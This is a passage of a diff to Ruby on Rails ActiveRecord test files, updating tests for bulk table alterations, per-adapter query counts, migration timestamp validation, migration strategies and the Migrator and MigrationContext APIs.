+          t.change :name, :string, default: "NONAME"
+          t.change :birthdate, :datetime, comment: "This is a comment"
+        end
+      end
+
+      assert_equal "NONAME", column(:name).default
+      assert_equal :datetime, column(:birthdate).type
+      assert_equal "This is a comment", column(:birthdate).comment
+    end
+
+    def test_changing_column_null_with_default
+      with_bulk_change_table do |t|
+        t.string :name
+        t.integer :age
+        t.date :birthdate
+      end
+
+      assert_not column(:name).default
       assert_equal :date, column(:birthdate).type
 
-      # One query for columns (delete_me table)
-      # One query for primary key (delete_me table)
-      # One query to do the bulk change
-      assert_queries(3, ignore_none: true) do
+      classname = ActiveRecord::Base.lease_connection.class.name[/[^:]*$/]
+      expected_query_count = {
+        "Mysql2Adapter"     => 7, # four queries to retrieve schema info, one for bulk change, one for UPDATE, one for NOT NULL
+        "TrilogyAdapter"    => 7, # four queries to retrieve schema info, one for bulk change, one for UPDATE, one for NOT NULL
+        "PostgreSQLAdapter" => 5, # two queries for columns, one for bulk change, one for UPDATE, one for NOT NULL
+      }.fetch(classname) {
+        raise "need an expected query count for #{classname}"
+      }
+
+      assert_queries_count(expected_query_count, include_schema: true) do
         with_bulk_change_table do |t|
           t.change :name, :string, default: "NONAME"
           t.change :birthdate, :datetime
+          t.change_null :age, false, 0
         end
       end
 
       assert_equal "NONAME", column(:name).default
       assert_equal :datetime, column(:birthdate).type
+      assert_equal false, column(:age).null
     end
 
-    private
+    if supports_text_column_with_default?
+      def test_default_functions_on_columns
+        with_bulk_change_table do |t|
+          if current_adapter?(:PostgreSQLAdapter)
+            t.string :name, default: -> { "gen_random_uuid()" }
+          else
+            t.string :name, default: -> { "UUID()" }
+          end
+        end
+
+        assert_nil column(:name).default
+
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal "gen_random_uuid()", column(:name).default_function
+          Person.lease_connection.execute("INSERT INTO delete_me DEFAULT VALUES")
+        else
+          assert_equal "uuid()", column(:name).default_function
+          Person.lease_connection.execute("INSERT INTO delete_me () VALUES ()")
+        end
+
+        person_data = Person.lease_connection.select_one("SELECT * FROM delete_me ORDER BY id DESC")
+        assert_match(/\A(.+)-(.+)-(.+)-(.+)\Z/, person_data.fetch("name"))
+      end
+    end
+
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      def test_updating_auto_increment
+        with_bulk_change_table do |t|
+          t.change :id, :bigint, auto_increment: true
+        end
+
+        assert_predicate column(:id), :auto_increment?
+
+        with_bulk_change_table do |t|
+          t.change :id, :bigint, auto_increment: false
+        end
+        assert_not column(:id).auto_increment?
+      end
+    end
+
+    def test_changing_index
+      with_bulk_change_table do |t|
+        t.string :username
+        t.index :username, name: :username_index
+      end
+
+      assert index(:username_index)
+      assert_not index(:username_index).unique
+
+      classname = ActiveRecord::Base.lease_connection.class.name[/[^:]*$/]
+      expected_query_count = {
+        "Mysql2Adapter"     => 1, # mysql2 supports dropping and creating two indexes using one statement
+        "TrilogyAdapter"    => 1, # trilogy supports dropping and creating two indexes using one statement
+        "PostgreSQLAdapter" => 2,
+      }.fetch(classname) {
+        raise "need an expected query count for #{classname}"
+      }
+
+      assert_queries_count(expected_query_count) do
+        with_bulk_change_table do |t|
+          t.remove_index name: :username_index
+          t.index :username, name: :username_index, unique: true
+        end
+      end
+
+      assert index(:username_index)
+      assert index(:username_index).unique
+    end
 
-      def with_bulk_change_table
+    private
+      def with_bulk_change_table(&block)
         # Reset columns/indexes cache as we're changing the table
         @columns = @indexes = nil
 
-        Person.connection.change_table(:delete_me, bulk: true) do |t|
-          yield t
-        end
+        Person.lease_connection.change_table(:delete_me, bulk: true, &block)
       end
 
       def column(name)
@@ -905,7 +1553,7 @@ def column(name)
       end
 
       def columns
-        @columns ||= Person.connection.columns("delete_me")
+        @columns ||= Person.lease_connection.columns("delete_me")
       end
 
       def index(name)
@@ -913,9 +1561,50 @@ def index(name)
       end
 
       def indexes
-        @indexes ||= Person.connection.indexes("delete_me")
+        @indexes ||= Person.lease_connection.indexes("delete_me")
       end
   end # AlterTableMigrationsTest
+
+  class RevertBulkAlterTableMigrationsTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    def setup
+      @connection = Person.lease_connection
+      Person.reset_column_information
+      Person.reset_sequence_name
+    end
+
+    teardown do
+      @connection.remove_columns(:people, :column1, :column2) rescue nil
+    end
+
+    def test_bulk_revert
+      @connection.add_column(:people, :column1, :string)
+      @connection.add_column(:people, :column2, :string)
+      assert_column Person, :column1
+      assert_column Person, :column2
+
+      migration = Class.new(ActiveRecord::Migration::Current) {
+        disable_ddl_transaction!
+
+        def write(text = ""); end
+
+        def change
+          change_table :people, bulk: true do |t|
+            t.column :column1, :string
+            t.column :column2, :string
+          end
+        end
+      }.new
+
+      assert_queries_count(1) do
+        migration.migrate(:down)
+      end
+
+      assert_no_column Person, :column1
+      assert_no_column Person, :column2
+    end
+  end
 end
 
 class CopyMigrationsTest < ActiveRecord::TestCase
@@ -925,13 +1614,13 @@ def setup
   end
 
   def clear
-    ActiveRecord::Base.timestamped_migrations = true
+    ActiveRecord.timestamped_migrations = true
     to_delete = Dir[@migrations_path + "/*.rb"] - @existing_migrations
     File.delete(*to_delete)
   end
 
   def test_copying_migrations_without_timestamps
-    ActiveRecord::Base.timestamped_migrations = false
+    ActiveRecord.timestamped_migrations = false
     @migrations_path = MIGRATIONS_ROOT + "/valid"
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
@@ -941,18 +1630,18 @@ def test_copying_migrations_without_timestamps
     assert_equal [@migrations_path + "/4_people_have_hobbies.bukkits.rb", @migrations_path + "/5_people_have_descriptions.bukkits.rb"], copied.map(&:filename)
 
     expected = "# This migration comes from bukkits (originally 1)"
-    assert_equal expected, IO.readlines(@migrations_path + "/4_people_have_hobbies.bukkits.rb")[0].chomp
+    assert_equal expected, IO.readlines(@migrations_path + "/4_people_have_hobbies.bukkits.rb")[2].chomp
 
     files_count = Dir[@migrations_path + "/*.rb"].length
     copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy")
     assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-    assert copied.empty?
+    assert_empty copied
   ensure
     clear
   end
 
   def test_copying_migrations_without_timestamps_from_2_sources
-    ActiveRecord::Base.timestamped_migrations = false
+    ActiveRecord.timestamped_migrations = false
     @migrations_path = MIGRATIONS_ROOT + "/valid"
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
@@ -987,7 +1676,7 @@ def test_copying_migrations_with_timestamps
       files_count = Dir[@migrations_path + "/*.rb"].length
       copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy_with_timestamps")
       assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-      assert copied.empty?
+      assert_empty copied
     end
   ensure
     clear
@@ -1029,14 +1718,14 @@ def test_copying_migrations_with_timestamps_to_destination_with_timestamps_in_fu
       files_count = Dir[@migrations_path + "/*.rb"].length
       copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/to_copy_with_timestamps")
       assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-      assert copied.empty?
+      assert_empty copied
     end
   ensure
     clear
   end
 
   def test_copying_migrations_preserving_magic_comments
-    ActiveRecord::Base.timestamped_migrations = false
+    ActiveRecord.timestamped_migrations = false
     @migrations_path = MIGRATIONS_ROOT + "/valid"
     @existing_migrations = Dir[@migrations_path + "/*.rb"]
 
@@ -1044,13 +1733,13 @@ def test_copying_migrations_preserving_magic_comments
     assert File.exist?(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")
     assert_equal [@migrations_path + "/4_currencies_have_symbols.bukkits.rb"], copied.map(&:filename)
 
-    expected = "# coding: ISO-8859-15\n# This migration comes from bukkits (originally 1)"
-    assert_equal expected, IO.readlines(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")[0..1].join.chomp
+    expected = "# frozen_string_literal: true\n# coding: ISO-8859-15\n\n# This migration comes from bukkits (originally 1)"
+    assert_equal expected, IO.readlines(@migrations_path + "/4_currencies_have_symbols.bukkits.rb")[0..3].join.chomp
 
     files_count = Dir[@migrations_path + "/*.rb"].length
     copied = ActiveRecord::Migration.copy(@migrations_path, bukkits: MIGRATIONS_ROOT + "/magic")
     assert_equal files_count, Dir[@migrations_path + "/*.rb"].length
-    assert copied.empty?
+    assert_empty copied
   ensure
     clear
   end
@@ -1124,7 +1813,7 @@ def test_copying_migrations_to_empty_directory
   def test_check_pending_with_stdlib_logger
     old, ActiveRecord::Base.logger = ActiveRecord::Base.logger, ::Logger.new($stdout)
     quietly do
-      assert_nothing_raised { ActiveRecord::Migration::CheckPending.new(Proc.new {}).call({}) }
+      assert_nothing_raised { ActiveRecord::Migration::CheckPending.new(Proc.new { }).call({}) }
     end
   ensure
     ActiveRecord::Base.logger = old
@@ -1134,12 +1823,207 @@ def test_unknown_migration_version_should_raise_an_argument_error
     assert_raise(ArgumentError) { ActiveRecord::Migration[1.0] }
   end
 
-  def test_deprecate_initialize_internal_tables
-    assert_deprecated { ActiveRecord::Base.connection.initialize_schema_migrations_table }
-    assert_deprecated { ActiveRecord::Base.connection.initialize_internal_metadata_table }
+  class MigrationValidationTest < ActiveRecord::TestCase
+    def setup
+      @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
+      @schema_migration = ActiveRecord::Base.connection_pool.schema_migration
+      @internal_metadata = ActiveRecord::Base.connection_pool.internal_metadata
+      @active_record_validate_timestamps_was = ActiveRecord.validate_migration_timestamps
+      ActiveRecord.validate_migration_timestamps = true
+      ActiveRecord::Base.schema_cache.clear!
+
+      @migrations_path = MIGRATIONS_ROOT + "/temp"
+      @migrator = ActiveRecord::MigrationContext.new(@migrations_path, @schema_migration, @internal_metadata)
+    end
+
+    def teardown
+      @schema_migration.create_table
+      @schema_migration.delete_all_versions
+      ActiveRecord.validate_migration_timestamps = @active_record_validate_timestamps_was
+      ActiveRecord::Migration.verbose = @verbose_was
+    end
+
+    def test_migration_raises_if_timestamp_greater_than_14_digits
+      with_temp_migration_files(["201801010101010000_test_migration.rb"]) do
+        error = assert_raises(ActiveRecord::InvalidMigrationTimestampError) do
+          @migrator.up(201801010101010000)
+        end
+        assert_match(/Invalid timestamp 201801010101010000 for migration file: test_migration/, error.message)
+      end
+    end
+
+    def test_migration_raises_if_timestamp_is_future_date
+      timestamp = (Time.now.utc + 1.month).strftime("%Y%m%d%H%M%S").to_i
+      with_temp_migration_files(["#{timestamp}_test_migration.rb"]) do
+        error = assert_raises(ActiveRecord::InvalidMigrationTimestampError) do
+          @migrator.up(timestamp)
+        end
+        assert_match(/Invalid timestamp #{timestamp} for migration file: test_migration/, error.message)
+      end
+    end
+
+    def test_migration_succeeds_if_timestamp_is_less_than_one_day_in_the_future
+      timestamp = (Time.now.utc + 1.minute).strftime("%Y%m%d%H%M%S").to_i
+      with_temp_migration_files(["#{timestamp}_test_migration.rb"]) do
+        @migrator.up(timestamp)
+        assert_equal timestamp, @migrator.current_version
+      end
+    end
+
+    def test_migration_succeeds_despite_future_timestamp_if_validate_timestamps_is_false
+      validate_migration_timestamps_was = ActiveRecord.validate_migration_timestamps
+      ActiveRecord.validate_migration_timestamps = false
+
+      timestamp = (Time.now.utc + 1.month).strftime("%Y%m%d%H%M%S").to_i
+      with_temp_migration_files(["#{timestamp}_test_migration.rb"]) do
+        @migrator.up(timestamp)
+        assert_equal timestamp, @migrator.current_version
+      end
+    ensure
+      ActiveRecord.validate_migration_timestamps = validate_migration_timestamps_was
+    end
+
+    def test_migration_succeeds_despite_future_timestamp_if_timestamped_migrations_is_false
+      timestamped_migrations_was = ActiveRecord.timestamped_migrations
+      ActiveRecord.timestamped_migrations = false
+
+      timestamp = (Time.now.utc + 1.month).strftime("%Y%m%d%H%M%S").to_i
+      with_temp_migration_files(["#{timestamp}_test_migration.rb"]) do
+        @migrator.up(timestamp)
+        assert_equal timestamp, @migrator.current_version
+      end
+    ensure
+      ActiveRecord.timestamped_migrations = timestamped_migrations_was
+    end
+
+    def test_copied_migrations_at_timestamp_boundary_are_valid
+      migrations_path_source = MIGRATIONS_ROOT + "/temp_source"
+      migrations_path_dest = MIGRATIONS_ROOT + "/temp_dest"
+      migrations = ["20180101010101_test_migration.rb", "20180101010102_test_migration_two.rb", "20180101010103_test_migration_three.rb"]
+
+      with_temp_migration_files(migrations, migrations_path_source) do
+        travel_to(Time.utc(2023, 12, 1, 10, 10, 59)) do
+          ActiveRecord::Migration.copy(migrations_path_dest, temp: migrations_path_source)
+
+          assert File.exist?(migrations_path_dest + "/20231201101059_test_migration.temp.rb")
+          assert File.exist?(migrations_path_dest + "/20231201101060_test_migration_two.temp.rb")
+          assert File.exist?(migrations_path_dest + "/20231201101061_test_migration_three.temp.rb")
+
+          migrator = ActiveRecord::MigrationContext.new(migrations_path_dest, @schema_migration, @internal_metadata)
+          migrator.up(20231201101059)
+          migrator.up(20231201101060)
+          migrator.up(20231201101061)
+
+          assert_equal 20231201101061, migrator.current_version
+          assert_not migrator.needs_migration?
+        end
+      end
+    ensure
+      File.delete(*Dir[migrations_path_dest + "/*.rb"])
+      Dir.rmdir(migrations_path_dest) if Dir.exist?(migrations_path_dest)
+    end
+
+    private
+      def with_temp_migration_files(filenames, migrations_dir = @migrations_path)
+        Dir.mkdir(migrations_dir) unless Dir.exist?(migrations_dir)
+
+        paths = []
+        filenames.each do |filename|
+          path = File.join(migrations_dir, filename)
+          paths << path
+
+          migration_class = filename.match(ActiveRecord::Migration::MigrationFilenameRegexp)[2].camelize
+
+          File.open(path, "w+") do |file|
+            file << <<~MIGRATION
+          class #{migration_class} < ActiveRecord::Migration::Current
+            def change; end
+          end
+            MIGRATION
+          end
+        end
+
+        yield
+      ensure
+        paths.each { |path| File.delete(path) if File.exist?(path) }
+        Dir.rmdir(migrations_dir) if Dir.exist?(migrations_dir)
+      end
   end
 
-  def test_deprecate_migration_keys
-    assert_deprecated { ActiveRecord::Base.connection.migration_keys }
+  class MigrationStrategyTest < ActiveRecord::TestCase
+    class TestStrategy < ActiveRecord::Migration::DefaultStrategy
+      attr_reader :called
+
+      def initialize(migration)
+        super
+        @called = false
+      end
+
+      def create_table(*)
+        super
+        @called = true
+      end
+    end
+
+    class AlternateStrategy < TestStrategy; end
+
+    class TestMigration < ActiveRecord::Migration::Current
+      def change
+        create_table :test_strategy_table do |t|
+          t.string :name
+        end
+      end
+    end
+
+    def setup
+      @original_global_strategy = ActiveRecord.migration_strategy
+      @connection = ActiveRecord::Base.lease_connection
+      @original_connection_strategy = @connection.migration_strategy
+      @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
+    end
+
+    def teardown
+      ActiveRecord.migration_strategy = @original_global_strategy
+      ActiveRecord::Migration.verbose = @verbose_was
+      @connection.class.migration_strategy = @original_connection_strategy
+      @connection.drop_table(:test_strategy_table) rescue nil
+    end
+
+    test "migration uses global migration strategy when set" do
+      ActiveRecord.migration_strategy = TestStrategy
+      migration = TestMigration.new("TestMigration", 1)
+      strategy = migration.execution_strategy
+
+      assert_instance_of TestStrategy, strategy
+
+      migration.migrate(:up)
+
+      assert strategy.called
+    end
+
+    test "migration uses adapter-specific strategy when set" do
+      @connection.class.migration_strategy = TestStrategy
+      migration = TestMigration.new("TestMigration", 1)
+      strategy = migration.execution_strategy
+
+      assert_instance_of TestStrategy, strategy
+
+      migration.migrate(:up)
+
+      assert strategy.called
+    end
+
+    test "migration uses adapter-specific stategy over global strategy" do
+      ActiveRecord.migration_strategy = TestStrategy
+      @connection.class.migration_strategy = AlternateStrategy
+      migration = TestMigration.new("TestMigration", 1)
+      strategy = migration.execution_strategy
+
+      assert_instance_of AlternateStrategy, strategy
+
+      migration.migrate(:up)
+
+      assert strategy.called
+    end
   end
 end
diff --git a/activerecord/test/cases/migrator_test.rb b/activerecord/test/cases/migrator_test.rb
index 20d70b75ac920..32e1e3dea6bdb 100644
--- a/activerecord/test/cases/migrator_test.rb
+++ b/activerecord/test/cases/migrator_test.rb
@@ -1,9 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "cases/migration/helper"
 
 class MigratorTest < ActiveRecord::TestCase
-  self.use_transactional_tests = false
-
   # Use this class to sense if migrations have gone
   # up or down.
   class Sensor < ActiveRecord::Migration::Current
@@ -21,8 +21,11 @@ def down; @went_down = true; end
 
   def setup
     super
-    ActiveRecord::SchemaMigration.create_table
-    ActiveRecord::SchemaMigration.delete_all rescue nil
+    @pool = ActiveRecord::Base.connection_pool
+    @schema_migration = @pool.schema_migration
+    @schema_migration.create_table
+    @schema_migration.delete_all_versions rescue nil
+    @internal_metadata = @pool.internal_metadata
     @verbose_was = ActiveRecord::Migration.verbose
     ActiveRecord::Migration.message_count = 0
     ActiveRecord::Migration.class_eval do
@@ -34,7 +37,7 @@ def puts(*)
   end
 
   teardown do
-    ActiveRecord::SchemaMigration.delete_all rescue nil
+    @schema_migration.delete_all_versions rescue nil
     ActiveRecord::Migration.verbose = @verbose_was
     ActiveRecord::Migration.class_eval do
       undef :puts
@@ -47,7 +50,7 @@ def puts(*)
   def test_migrator_with_duplicate_names
     e = assert_raises(ActiveRecord::DuplicateMigrationNameError) do
       list = [ActiveRecord::Migration.new("Chunky"), ActiveRecord::Migration.new("Chunky")]
-      ActiveRecord::Migrator.new(:up, list)
+      ActiveRecord::Migrator.new(:up, list, @schema_migration, @internal_metadata)
     end
     assert_match(/Multiple migrations have the name Chunky/, e.message)
   end
@@ -55,19 +58,39 @@ def test_migrator_with_duplicate_names
   def test_migrator_with_duplicate_versions
     assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
       list = [ActiveRecord::Migration.new("Foo", 1), ActiveRecord::Migration.new("Bar", 1)]
-      ActiveRecord::Migrator.new(:up, list)
+      ActiveRecord::Migrator.new(:up, list, @schema_migration, @internal_metadata)
     end
   end
 
   def test_migrator_with_missing_version_numbers
     assert_raises(ActiveRecord::UnknownMigrationVersionError) do
       list = [ActiveRecord::Migration.new("Foo", 1), ActiveRecord::Migration.new("Bar", 2)]
-      ActiveRecord::Migrator.new(:up, list, 3).run
+      ActiveRecord::Migrator.new(:up, list, @schema_migration, @internal_metadata, 3).run
+    end
+
+    assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+      list = [ActiveRecord::Migration.new("Foo", 1), ActiveRecord::Migration.new("Bar", 2)]
+      ActiveRecord::Migrator.new(:up, list, @schema_migration, @internal_metadata, -1).run
+    end
+
+    assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+      list = [ActiveRecord::Migration.new("Foo", 1), ActiveRecord::Migration.new("Bar", 2)]
+      ActiveRecord::Migrator.new(:up, list, @schema_migration, @internal_metadata, 0).run
+    end
+
+    assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+      list = [ActiveRecord::Migration.new("Foo", 1), ActiveRecord::Migration.new("Bar", 2)]
+      ActiveRecord::Migrator.new(:up, list, @schema_migration, @internal_metadata, 3).migrate
+    end
+
+    assert_raises(ActiveRecord::UnknownMigrationVersionError) do
+      list = [ActiveRecord::Migration.new("Foo", 1), ActiveRecord::Migration.new("Bar", 2)]
+      ActiveRecord::Migrator.new(:up, list, @schema_migration, @internal_metadata, -1).migrate
     end
   end
 
   def test_finds_migrations
-    migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid")
+    migrations = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + "/valid", @schema_migration, @internal_metadata).migrations
 
     [[1, "ValidPeopleHaveLastNames"], [2, "WeNeedReminders"], [3, "InnocentJointable"]].each_with_index do |pair, i|
       assert_equal migrations[i].version, pair.first
@@ -76,7 +99,7 @@ def test_finds_migrations
   end
 
   def test_finds_migrations_in_subdirectories
-    migrations = ActiveRecord::Migrator.migrations(MIGRATIONS_ROOT + "/valid_with_subdirectories")
+    migrations = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + "/valid_with_subdirectories", @schema_migration, @internal_metadata).migrations
 
     [[1, "ValidPeopleHaveLastNames"], [2, "WeNeedReminders"], [3, "InnocentJointable"]].each_with_index do |pair, i|
       assert_equal migrations[i].version, pair.first
@@ -86,7 +109,7 @@ def test_finds_migrations_in_subdirectories
 
   def test_finds_migrations_from_two_directories
     directories = [MIGRATIONS_ROOT + "/valid_with_timestamps", MIGRATIONS_ROOT + "/to_copy_with_timestamps"]
-    migrations = ActiveRecord::Migrator.migrations directories
+    migrations = ActiveRecord::MigrationContext.new(directories, @schema_migration, @internal_metadata).migrations
 
     [[20090101010101, "PeopleHaveHobbies"],
      [20090101010202, "PeopleHaveDescriptions"],
@@ -99,14 +122,14 @@ def test_finds_migrations_from_two_directories
   end
 
   def test_finds_migrations_in_numbered_directory
-    migrations = ActiveRecord::Migrator.migrations [MIGRATIONS_ROOT + "/10_urban"]
+    migrations = ActiveRecord::MigrationContext.new(MIGRATIONS_ROOT + "/10_urban", @schema_migration, @internal_metadata).migrations
     assert_equal 9, migrations[0].version
     assert_equal "AddExpressions", migrations[0].name
   end
 
   def test_relative_migrations
     list = Dir.chdir(MIGRATIONS_ROOT) do
-      ActiveRecord::Migrator.migrations("valid")
+      ActiveRecord::MigrationContext.new("valid", @schema_migration, @internal_metadata).migrations
     end
 
     migration_proxy = list.find { |item|
@@ -116,23 +139,119 @@ def test_relative_migrations
   end
 
   def test_finds_pending_migrations
-    ActiveRecord::SchemaMigration.create!(version: "1")
+    @schema_migration.create_version("1")
     migration_list = [ActiveRecord::Migration.new("foo", 1), ActiveRecord::Migration.new("bar", 3)]
-    migrations = ActiveRecord::Migrator.new(:up, migration_list).pending_migrations
+    migrations = ActiveRecord::Migrator.new(:up, migration_list, @schema_migration, @internal_metadata).pending_migrations
 
     assert_equal 1, migrations.size
     assert_equal migration_list.last, migrations.first
   end
 
+  def test_migrations_status
+    path = MIGRATIONS_ROOT + "/valid"
+
+    @schema_migration.create_version(2)
+    @schema_migration.create_version(10)
+
+    assert_equal [
+      ["down", "001", "Valid people have last names"],
+      ["up",   "002", "We need reminders"],
+      ["down", "003", "Innocent jointable"],
+      ["up",   "010", "********** NO FILE **********"],
+    ], ActiveRecord::MigrationContext.new(path, @schema_migration, @internal_metadata).migrations_status
+  end
+
+  def test_migrations_status_order_new_and_old_version
+    path = MIGRATIONS_ROOT + "/old_and_new_versions"
+    @schema_migration.create_version(230)
+    @schema_migration.create_version(231)
+    @schema_migration.create_version(20210716122844)
+    @schema_migration.create_version(20210716123013)
+
+    assert_equal [
+      ["up", "230", "Add people hobby"],
+      ["up", "231", "Add people last name"],
+      ["up", "20210716122844", "Add people description"],
+      ["up", "20210716123013", "Add people number of legs"],
+    ], ActiveRecord::MigrationContext.new(path, @schema_migration, @internal_metadata).migrations_status
+  end
+
+  def test_migrations_status_order_new_and_old_version_applied_out_of_order
+    path = MIGRATIONS_ROOT + "/old_and_new_versions"
+
+    @schema_migration.create_version(230)
+    @schema_migration.create_version(231)
+
+    # "Apply" a newer migration and not an older to simulate out-of-order
+    # migration application which should not affect ordering in status and is
+    # possible if a branch is merged which contains a migration which has an
+    # earlier version but is judged to be compatible with existing migrations.
+    @schema_migration.create_version(20210716123013)
+
+    assert_equal [
+      ["up", "230", "Add people hobby"],
+      ["up", "231", "Add people last name"],
+      ["down", "20210716122844", "Add people description"],
+      ["up", "20210716123013", "Add people number of legs"],
+    ], ActiveRecord::MigrationContext.new(path, @schema_migration, @internal_metadata).migrations_status
+  end
+
+  def test_migrations_status_in_subdirectories
+    path = MIGRATIONS_ROOT + "/valid_with_subdirectories"
+
+    @schema_migration.create_version(2)
+    @schema_migration.create_version(10)
+
+    assert_equal [
+      ["down", "001", "Valid people have last names"],
+      ["up",   "002", "We need reminders"],
+      ["down", "003", "Innocent jointable"],
+      ["up",   "010", "********** NO FILE **********"],
+    ], ActiveRecord::MigrationContext.new(path, @schema_migration, @internal_metadata).migrations_status
+  end
+
+  def test_migrations_status_with_schema_define_in_subdirectories
+    path = MIGRATIONS_ROOT + "/valid_with_subdirectories"
+    prev_paths = ActiveRecord::Migrator.migrations_paths
+    ActiveRecord::Migrator.migrations_paths = path
+
+    ActiveRecord::Schema.define(version: 3) do
+    end
+
+    assert_equal [
+      ["up", "001", "Valid people have last names"],
+      ["up", "002", "We need reminders"],
+      ["up", "003", "Innocent jointable"],
+    ], ActiveRecord::MigrationContext.new(path, @schema_migration, @internal_metadata).migrations_status
+  ensure
+    ActiveRecord::Migrator.migrations_paths = prev_paths
+  end
+
+  def test_migrations_status_from_two_directories
+    paths = [MIGRATIONS_ROOT + "/valid_with_timestamps", MIGRATIONS_ROOT + "/to_copy_with_timestamps"]
+
+    @schema_migration.create_version("20100101010101")
+    @schema_migration.create_version("20160528010101")
+
+    assert_equal [
+      ["down", "20090101010101", "People have hobbies"],
+      ["down", "20090101010202", "People have descriptions"],
+      ["up",   "20100101010101", "Valid with timestamps people have last names"],
+      ["down", "20100201010101", "Valid with timestamps we need reminders"],
+      ["down", "20100301010101", "Valid with timestamps innocent jointable"],
+      ["up",   "20160528010101", "********** NO FILE **********"],
+    ], ActiveRecord::MigrationContext.new(paths, @schema_migration, @internal_metadata).migrations_status
+  end
+
   def test_migrator_interleaved_migrations
     pass_one = [Sensor.new("One", 1)]
 
-    ActiveRecord::Migrator.new(:up, pass_one).migrate
+    ActiveRecord::Migrator.new(:up, pass_one, @schema_migration, @internal_metadata).migrate
     assert pass_one.first.went_up
     assert_not pass_one.first.went_down
 
     pass_two = [Sensor.new("One", 1), Sensor.new("Three", 3)]
-    ActiveRecord::Migrator.new(:up, pass_two).migrate
+    ActiveRecord::Migrator.new(:up, pass_two, @schema_migration, @internal_metadata).migrate
     assert_not pass_two[0].went_up
     assert pass_two[1].went_up
     assert pass_two.all? { |x| !x.went_down }
@@ -141,7 +260,7 @@ def test_migrator_interleaved_migrations
                   Sensor.new("Two", 2),
                   Sensor.new("Three", 3)]
 
-    ActiveRecord::Migrator.new(:down, pass_three).migrate
+    ActiveRecord::Migrator.new(:down, pass_three, @schema_migration, @internal_metadata).migrate
     assert pass_three[0].went_down
     assert_not pass_three[1].went_down
     assert pass_three[2].went_down
@@ -149,46 +268,51 @@ def test_migrator_interleaved_migrations
 
   def test_up_calls_up
     migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
-    ActiveRecord::Migrator.new(:up, migrations).migrate
+    migrator = ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata)
+    migrator.migrate
     assert migrations.all?(&:went_up)
     assert migrations.all? { |m| !m.went_down }
-    assert_equal 2, ActiveRecord::Migrator.current_version
+    assert_equal 2, migrator.current_version
   end
 
   def test_down_calls_down
     test_up_calls_up
 
     migrations = [Sensor.new(nil, 0), Sensor.new(nil, 1), Sensor.new(nil, 2)]
-    ActiveRecord::Migrator.new(:down, migrations).migrate
+    migrator = ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata)
+    migrator.migrate
     assert migrations.all? { |m| !m.went_up }
     assert migrations.all?(&:went_down)
-    assert_equal 0, ActiveRecord::Migrator.current_version
+    assert_equal 0, migrator.current_version
   end
 
   def test_current_version
-    ActiveRecord::SchemaMigration.create!(version: "1000")
-    assert_equal 1000, ActiveRecord::Migrator.current_version
+    @schema_migration.create_version("1000")
+    schema_migration = ActiveRecord::Base.connection_pool.schema_migration
+    internal_metadata = ActiveRecord::Base.connection_pool.internal_metadata
+    migrator = ActiveRecord::MigrationContext.new("db/migrate", schema_migration, internal_metadata)
+    assert_equal 1000, migrator.current_version
   end
 
   def test_migrator_one_up
     calls, migrations = sensors(3)
 
-    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 1).migrate
     assert_equal [[:up, 1]], calls
     calls.clear
 
-    ActiveRecord::Migrator.new(:up, migrations, 2).migrate
+    ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 2).migrate
     assert_equal [[:up, 2]], calls
   end
 
   def test_migrator_one_down
     calls, migrations = sensors(3)
 
-    ActiveRecord::Migrator.new(:up, migrations).migrate
+    ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata).migrate
     assert_equal [[:up, 1], [:up, 2], [:up, 3]], calls
     calls.clear
 
-    ActiveRecord::Migrator.new(:down, migrations, 1).migrate
+    ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata, 1).migrate
 
     assert_equal [[:down, 3], [:down, 2]], calls
   end
@@ -196,65 +320,68 @@ def test_migrator_one_down
   def test_migrator_one_up_one_down
     calls, migrations = sensors(3)
 
-    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 1).migrate
     assert_equal [[:up, 1]], calls
     calls.clear
 
-    ActiveRecord::Migrator.new(:down, migrations, 0).migrate
+    ActiveRecord::Migrator.new(:down, migrations, @schema_migration, @internal_metadata, 0).migrate
     assert_equal [[:down, 1]], calls
   end
 
   def test_migrator_double_up
     calls, migrations = sensors(3)
-    assert_equal(0, ActiveRecord::Migrator.current_version)
+    migrator = ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 1)
+    assert_equal(0, migrator.current_version)
 
-    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    migrator.migrate
     assert_equal [[:up, 1]], calls
     calls.clear
 
-    ActiveRecord::Migrator.new(:up, migrations, 1).migrate
+    migrator.migrate
     assert_equal [], calls
   end
 
   def test_migrator_double_down
     calls, migrations = sensors(3)
+    migrator = ActiveRecord::Migrator.new(:up, migrations, @schema_migration, @internal_metadata, 1)
 
-    assert_equal(0, ActiveRecord::Migrator.current_version)
